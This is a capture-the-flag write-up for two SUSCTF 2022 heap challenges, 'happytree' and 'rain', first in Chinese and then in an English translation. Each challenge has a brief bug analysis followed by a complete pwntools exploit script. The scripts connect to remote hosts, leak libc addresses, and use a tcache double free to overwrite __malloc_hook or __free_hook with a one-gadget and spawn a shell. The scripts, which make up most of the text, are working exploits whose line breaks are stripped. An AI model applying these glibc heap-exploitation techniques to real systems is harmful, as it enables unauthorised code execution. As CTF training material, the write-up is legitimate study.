Happytree
题目附件
https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/happytree.zip
分析
漏洞点在 C++ 的 new 和 delete 不对堆空间进行初始化,并且 delete 逻辑中存在指针未清零的情况,而且存在有符号整数和无符号整数混淆,构造 payload 泄露 main_arena 和堆地址后,利用 libc-2.27 构造 tcache 的 doublefree,最后 new 出__malloc_hook 地址,写入 ogg 获得 shell
exp
from pwn import *import ctypesimport time
# io = process(['./ld-2.27.so','./happytree'], env={'LD_PRELOAD': './libc.so.6'})io = remote('124.71.147.225', 9999)elf = ELF('./happytree')libc = ELF('./libc.so.6')context.log_level = 'debug'
idx = []
def add(data,content): global root io.sendlineafter('cmd> ','1') io.sendlineafter("data: ",str(data)) io.sendlineafter("content: ",content) idx.append(data)
def add1(data,content): io.sendlineafter('cmd> ','1') io.sendlineafter("data: ",str(data)) io.sendafter("content: ",content) idx.append(data)
def add2(data,content): io.sendlineafter('cmd> ','1') io.sendafter("data: ",str(data))
def free(data): io.sendlineafter('cmd> ','2') io.sendlineafter("data: ",str(data)) if data in idx: del idx[idx.index(data)]
def show(data): io.sendlineafter('cmd> ','3') io.sendlineafter("data: ",str(data))
read_got = elf.got['read']read_plt = elf.plt['read']
def to_size(size): return (ctypes.c_int(0xffffff00 | size)).value
def inv(x): return ctypes.c_int(x).value
# add(0x80 | 0x200, 'aaaa')# add(0x80 | 0x100, 'aaaa')# add(0x80 | 0x300, 'aaaa')# free(0x80 | 0x200)# for i in range(8):add(inv(0x80 | (0xfff00000)), 'aaaa')add(0x80 | (1*0x100), 'aaaa')add(0x80 | (2*0x100), 'aaaa')add(0x80 | (3*0x100), 'aaaa')add(0x80 | (4*0x100), 'aaaa')add(0x80 | (5*0x100), 'aaaa')add(0x80 | (6*0x100), 'aaaa')add(0x80 | (7*0x100), 'aaaa')add(0x80 | (8*0x100), 'aaaa')# add(0x80 | (9*0x100), 'aaaa')# add(0x80 | (10*0x100), 'aaaa')
add(inv(0x80 | (0xff000000)), 'aaaa')
# free(0x80 | (10*0x100))# free(0x80 | (8*0x100))free(0x80 | (8*0x100))free(0x80 | (7*0x100))free(0x80 | (6*0x100))free(0x80 | (5*0x100))free(0x80 | (4*0x100))free(0x80 | (3*0x100))free(0x80 | (2*0x100))free(0x80 | (1*0x100))
add(inv(0x80 | 0xffff0100), 'aaaa')add(inv(0x80 | 0xffff0200), 'aaaa')add(inv(0x80 | 0xffff0300), 'aaaa')add(inv(0x80 | 0xffff0400), 'aaaa')add(inv(0x80 | 0xffff0500), 'aaaa')add(inv(0x80 | 0xffff0600), 'aaaa')add(inv(0x80 | 0xffff0700), 'aaaa')# show(0x80 | 0x700)# gdb.attach(io)
add1(inv(0x80 | 0xffff0800), 'a'*8)show(inv(0x80 | 0xffff0800))io.recvuntil('content: aaaaaaaa')inp = io.recvuntil('\x7f').ljust(8, '\x00')inp = u64(inp)log.info(hex(inp))main_arena = inp - 96log.info(hex(main_arena))libc_base = main_arena - 0x00003EBC40log.info(hex(libc_base))
free(inv(0x80 | 0xffff0700))free(inv(0x80 | 0xffff0800))add(0x20 | 0x100, 'a'*23)show(0x20 | 0x100)
io.recvuntil('\n')hp = io.recvuntil('\n', drop=True).ljust(8, '\x00')hp = u64(hp)log.info(hex(hp))
free(0x20 | 0x100)add(inv(0x80 | 0xf0000000), 'aaaa')add(inv(0x80 | 0xffff0700), 'aaaa')free(inv(0x80 | 0xf0000000))free(0)
ogg = [0x4f365,0x4f3c2,0x10a45c]
malloc_hook = libc_base + libc.sym['__malloc_hook']p = p64(malloc_hook)add1(0x80 | ((hp - (hp & 0xff)) & 0xffffffff), p)print hex(0x80 | ((hp - (hp & 0xff)) & 0xffffffff))
time.sleep(4)add1(0x80 | 0x100, 'aaaa')p = p64(ogg[2] + libc_base)add1(0x80 | 0x5000, p)# gdb.attach(io)add2(0x80 | 0x6000, p)# free(inv(0x80 | 0xffff0400))
# print idx
# add(to_size(0x80 | 0x100))
io.interactive()# print hex(to_size(10))rain
题目附件
https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/rain.zip
分析
当 realloc (ptr, 0) 时,函数返回 null,v7==0 过不了 if 判断,故不会将指针清零,可以构造 doublefree,利用 doublefree 和 printf% s 泄露在 bss 段上的_IO_2_1_stdout_地址,即可知道 libc 基址,最后向__free_hook 写入 ogg 即可 getshell

exp
from pwn import *
context.log_level='DEBUG'# io = process(['./ld-2.27.so','./rain'], env={'LD_PRELOAD': './libc.so.6', "TERM":"xterm"})io = remote('124.71.185.75',9999)
e = ELF('./rain')libc = ELF('./libc.so.6')
def frame(sh, sw, font, color, rainfall, table1): p = p32(sh) p += p32(sw) p += p8(font) p += p8(color) p += p32(rainfall) p += p32(0xdeadbeaf) p += table1 return p
def config(fra): io.sendlineafter('ch> ', '1') io.sendafter('FRAME> ', fra)
def show(): io.sendlineafter('ch> ', '2')
def rain(): context.log_level='INFO' io.sendlineafter('ch> ', '3') io.recvuntil('\n') context.log_level='debug'p = frame(0x30,0x30,3,4,1,'a'*0x20)config(p)p = frame(0x30,0x30,3,4,1,'')config(p)p = frame(0x30,0x30,3,4,1,'')config(p)
malloc_got = e.got['malloc']log.info(hex(malloc_got))
p1 = p64(0x00000603000)p1 += 'a'*(0x20 - len(p1))p = frame(0x30,0x30,3,4,1, p1)config(p)rain()# show()
p = frame(0x30,0x30,3,4,1, 'a'*0x20)config(p)show()
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')inp = io.recvuntil('\n', drop=True).ljust(8, '\x00')inp = u64(inp)log.info("_IO_2_1_stdout_:"+hex(inp))libc_base = inp - libc.sym['_IO_2_1_stdout_']log.info("libc_base:"+hex(libc_base))
ogg = [0x4f365,0x4f3c2,0x10a45c]malloc_hook = libc_base + libc.sym['__free_hook']log.info("malloc_hook:"+hex(malloc_hook))
rain()p = frame(0x40,0x40,3,4,1,'a'*0x70)config(p)p = frame(0x40,0x40,3,4,1,'')config(p)p = frame(0x40,0x40,3,4,1,'')config(p)
p1 = p64(malloc_hook)p1 += 'a'*(0x70 - len(p1))p = frame(0x30,0x30,3,4,1, p1)config(p)rain()
p = frame(0x30,0x30,3,4,1, 'a'*0x70)config(p)rain()
log.info("ogg:"+hex(ogg[0]+libc_base))p1 = p64(ogg[1]+libc_base) * (0x70 // 8)p = frame(0x1,0x1,3,4,1, p1)# gdb.attach(io)config(p)p = frame(0x1,0x1,3,4,1,'')config(p)
# gdb.attach(io)
io.interactive()Translate by Kimi-K3
Happytree
Challenge Attachment
https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/happytree.zip
Analysis
The vulnerability lies in C++‘s new and delete not initializing the heap space, plus the delete logic failing to zero out the pointer after freeing, and there is also a mix-up between signed and unsigned integers. After crafting a payload to leak main_arena and a heap address, we exploit libc-2.27 to construct a tcache double free, then new out the __malloc_hook address and write a one-gadget to get a shell.
exp
from pwn import *import ctypesimport time
# io = process(['./ld-2.27.so','./happytree'], env={'LD_PRELOAD': './libc.so.6'})io = remote('124.71.147.225', 9999)elf = ELF('./happytree')libc = ELF('./libc.so.6')context.log_level = 'debug'
idx = []
def add(data,content): global root io.sendlineafter('cmd> ','1') io.sendlineafter("data: ",str(data)) io.sendlineafter("content: ",content) idx.append(data)
def add1(data,content): io.sendlineafter('cmd> ','1') io.sendlineafter("data: ",str(data)) io.sendafter("content: ",content) idx.append(data)
def add2(data,content): io.sendlineafter('cmd> ','1') io.sendafter("data: ",str(data))
def free(data): io.sendlineafter('cmd> ','2') io.sendlineafter("data: ",str(data)) if data in idx: del idx[idx.index(data)]
def show(data): io.sendlineafter('cmd> ','3') io.sendlineafter("data: ",str(data))
read_got = elf.got['read']read_plt = elf.plt['read']
def to_size(size): return (ctypes.c_int(0xffffff00 | size)).value
def inv(x): return ctypes.c_int(x).value
# add(0x80 | 0x200, 'aaaa')# add(0x80 | 0x100, 'aaaa')# add(0x80 | 0x300, 'aaaa')# free(0x80 | 0x200)# for i in range(8):add(inv(0x80 | (0xfff00000)), 'aaaa')add(0x80 | (1*0x100), 'aaaa')add(0x80 | (2*0x100), 'aaaa')add(0x80 | (3*0x100), 'aaaa')add(0x80 | (4*0x100), 'aaaa')add(0x80 | (5*0x100), 'aaaa')add(0x80 | (6*0x100), 'aaaa')add(0x80 | (7*0x100), 'aaaa')add(0x80 | (8*0x100), 'aaaa')# add(0x80 | (9*0x100), 'aaaa')# add(0x80 | (10*0x100), 'aaaa')
add(inv(0x80 | (0xff000000)), 'aaaa')
# free(0x80 | (10*0x100))# free(0x80 | (8*0x100))free(0x80 | (8*0x100))free(0x80 | (7*0x100))free(0x80 | (6*0x100))free(0x80 | (5*0x100))free(0x80 | (4*0x100))free(0x80 | (3*0x100))free(0x80 | (2*0x100))free(0x80 | (1*0x100))
add(inv(0x80 | 0xffff0100), 'aaaa')add(inv(0x80 | 0xffff0200), 'aaaa')add(inv(0x80 | 0xffff0300), 'aaaa')add(inv(0x80 | 0xffff0400), 'aaaa')add(inv(0x80 | 0xffff0500), 'aaaa')add(inv(0x80 | 0xffff0600), 'aaaa')add(inv(0x80 | 0xffff0700), 'aaaa')# show(0x80 | 0x700)# gdb.attach(io)
add1(inv(0x80 | 0xffff0800), 'a'*8)show(inv(0x80 | 0xffff0800))io.recvuntil('content: aaaaaaaa')inp = io.recvuntil('\x7f').ljust(8, '\x00')inp = u64(inp)log.info(hex(inp))main_arena = inp - 96log.info(hex(main_arena))libc_base = main_arena - 0x00003EBC40log.info(hex(libc_base))
free(inv(0x80 | 0xffff0700))free(inv(0x80 | 0xffff0800))add(0x20 | 0x100, 'a'*23)show(0x20 | 0x100)
io.recvuntil('\n')hp = io.recvuntil('\n', drop=True).ljust(8, '\x00')hp = u64(hp)log.info(hex(hp))
free(0x20 | 0x100)add(inv(0x80 | 0xf0000000), 'aaaa')add(inv(0x80 | 0xffff0700), 'aaaa')free(inv(0x80 | 0xf0000000))free(0)
ogg = [0x4f365,0x4f3c2,0x10a45c]
malloc_hook = libc_base + libc.sym['__malloc_hook']p = p64(malloc_hook)add1(0x80 | ((hp - (hp & 0xff)) & 0xffffffff), p)print hex(0x80 | ((hp - (hp & 0xff)) & 0xffffffff))
time.sleep(4)add1(0x80 | 0x100, 'aaaa')p = p64(ogg[2] + libc_base)add1(0x80 | 0x5000, p)# gdb.attach(io)add2(0x80 | 0x6000, p)# free(inv(0x80 | 0xffff0400))
# print idx
# add(to_size(0x80 | 0x100))
io.interactive()# print hex(to_size(10))rain
Challenge Attachment
https://gitee.com/csomebro/ctftask/blob/master/2022-02_SUSCTF/rain.zip
Analysis
When realloc(ptr, 0) is called, the function returns null; since v7 == 0 fails the if check, the pointer is never zeroed out, so a double free can be constructed. Using the double free together with printf’s %s, we leak the _IO_2_1_stdout_ address located on the bss segment, which reveals the libc base address. Finally, we write a one-gadget into __free_hook to get a shell.

exp
from pwn import *
context.log_level='DEBUG'# io = process(['./ld-2.27.so','./rain'], env={'LD_PRELOAD': './libc.so.6', "TERM":"xterm"})io = remote('124.71.185.75',9999)
e = ELF('./rain')libc = ELF('./libc.so.6')
def frame(sh, sw, font, color, rainfall, table1): p = p32(sh) p += p32(sw) p += p8(font) p += p8(color) p += p32(rainfall) p += p32(0xdeadbeaf) p += table1 return p
def config(fra): io.sendlineafter('ch> ', '1') io.sendafter('FRAME> ', fra)
def show(): io.sendlineafter('ch> ', '2')
def rain(): context.log_level='INFO' io.sendlineafter('ch> ', '3') io.recvuntil('\n') context.log_level='debug'p = frame(0x30,0x30,3,4,1,'a'*0x20)config(p)p = frame(0x30,0x30,3,4,1,'')config(p)p = frame(0x30,0x30,3,4,1,'')config(p)
malloc_got = e.got['malloc']log.info(hex(malloc_got))
p1 = p64(0x00000603000)p1 += 'a'*(0x20 - len(p1))p = frame(0x30,0x30,3,4,1, p1)config(p)rain()# show()
p = frame(0x30,0x30,3,4,1, 'a'*0x20)config(p)show()
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')inp = io.recvuntil('\n', drop=True).ljust(8, '\x00')inp = u64(inp)log.info("_IO_2_1_stdout_:"+hex(inp))libc_base = inp - libc.sym['_IO_2_1_stdout_']log.info("libc_base:"+hex(libc_base))
ogg = [0x4f365,0x4f3c2,0x10a45c]malloc_hook = libc_base + libc.sym['__free_hook']log.info("malloc_hook:"+hex(malloc_hook))
rain()p = frame(0x40,0x40,3,4,1,'a'*0x70)config(p)p = frame(0x40,0x40,3,4,1,'')config(p)p = frame(0x40,0x40,3,4,1,'')config(p)
p1 = p64(malloc_hook)p1 += 'a'*(0x70 - len(p1))p = frame(0x30,0x30,3,4,1, p1)config(p)rain()
p = frame(0x30,0x30,3,4,1, 'a'*0x70)config(p)rain()
log.info("ogg:"+hex(ogg[0]+libc_base))p1 = p64(ogg[1]+libc_base) * (0x70 // 8)p = frame(0x1,0x1,3,4,1, p1)# gdb.attach(io)config(p)p = frame(0x1,0x1,3,4,1,'')config(p)
# gdb.attach(io)
io.interactive()